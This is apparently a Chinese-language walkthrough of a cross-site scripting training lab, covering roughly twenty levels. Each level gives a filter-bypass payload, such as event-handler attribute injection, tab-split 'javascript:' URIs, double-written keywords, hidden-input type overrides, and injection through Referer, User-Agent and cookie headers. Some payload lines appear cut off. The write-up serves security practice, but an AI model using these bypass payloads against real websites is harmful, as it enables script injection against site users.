一、反射型,无任何过滤
无任何过滤.hackbar name=test改为
二、反射型,标签内
标签内的.两个输入点test。测试下第二个可以。
“ onclick=alert(1)> 需要点击一下输入框。
“ onmouseover=alert(1)> 要鼠标滑过输入框
“ onmouseleave=alert(1)> 鼠标离开
“ onmouseenter=alert(1)> 鼠标进入选区
使用onstart当显示代码时执行和onload加载完成时执行都不可用。
三、过滤>,标签内
标签内过滤了>的.依然两个输出点,标签内的可以。
keyword=语句
‘ onclick=alert(1)//
原理是//把后面的>注释掉。掐的跟2一样
或者’ onclick=alert(1)%0a %0a用作换行的input标签语法正确。
四、过滤>和’
五、过滤on事件
过滤了on事件,on会变成o_n,font被过滤fo_nt.
使用JavaScript来绕过
“>点击一下构造出的链接即可
“>
2
2
“ onmouseover=document.body.innerHTML=document.URL “# 可以考虑
“; document.body.innerHTML=document.URL// #
可以用js,用按钮进行连接。写一个onclick事件,用window.location.href=””;或者可以用form表单也可以当做跳转链接,不需要传参。
六、过滤on和src和href等
过滤on和src、href等
大小写绕过
“>
七、过滤script、href关键字
过滤了script,href等关键字,置换为空,双写绕过
“>hello
“>
使用”>
这里的双写不是写两遍而是一个包裹着另一个SScciptcript
“> 无效
“>可以绕过
“>也可以绕过
八、过滤”和javascript关键字
这道题过滤 “ 和javascript关键字,会把javascript变成javasc_ript。href变成hr_ef,on变成o_n。可以通过tab制表符绕过(%09)
如果将a标签内变成需要闭合的标签外则目前无解。
javasc%09ript:alert(1) 需要点击一下页面内链接
因为是链接里的所以要用JavaScript标签
- window.location.assign //加载一个新的文件
九、注释http://
必须要包含http://。否则404
javascr%09ipt:alert(1)//http://
这里必须要用单行注释符//注释掉后面的http://
这里因为在javascript伪协议里面,属于js范畴,所以单行注释符是可以使用的。
最后使用%0a换行不行。因为http://是必须存在的不能不完整。十、没有明显的输入点
没有输出点怎么破?看了一下先知的wp,发现有隐藏的form和input
没有什么过滤就是把内容变成了From里面的input插入。因为三个input都是hidden所以需要在前面设定一个值,后面再将input type改为不再hidden和触发键。
keyword=test&t_sort=” type=”text” onclick=”alert()
这里的type换成password,button,checkbox,file,radio,reset,submit也可以,onclick换成onmouseover,onmouseenter,onmouseleave都可以。
XXX&t_sort=” type=”password” onclick=”alert()
必须前面最少一个输出到屏幕的语句
十一、十二、十三
11,12,13都一样。只是输入点不同。十一、referer
t_ref有东西。是Refer输入,所以需要Burp抓包或者直接刷新页面再添加Refer达到目的。Refer是告诉浏览器从哪个页面过来的。

添加Refer之后再刷新。
与HTTP包里的内容无关,全看Refer里的内容。
十二、UA
UA输入,User_Agent:凭证代理信息,让服务器知道客户的系统和版本和浏览器和版本。
同11,点击User_Agent添加内容即可。十三、cookie输入


或
十四、exif xss(不建议做)
这关的exif xss环境有问题,且exif在实战中基本可以说遇不到。十五、Angular JS(DOM型)
有同源策略,可以包含本站的有漏洞的页面
或?src='level1.php?name=<a href="javascript:alert(1)">xss</a>'
?src=’level1.php?name=‘
F12,点击左上角选择元素箭头,选择图片
在图片中插入语句
url中插入语句试探?keyword=
十六、实体转义
没反应,右键查看源代码
斜杠【/】被过滤,斜杠被转义成了实体编码【 】
使用空格的其他形态:%0d、%0a
十七、十八是参数拼接,使用两个参数,分别插入xss代码,将两者的结果拼接起来触发xss
十九、二十是Flash XSS
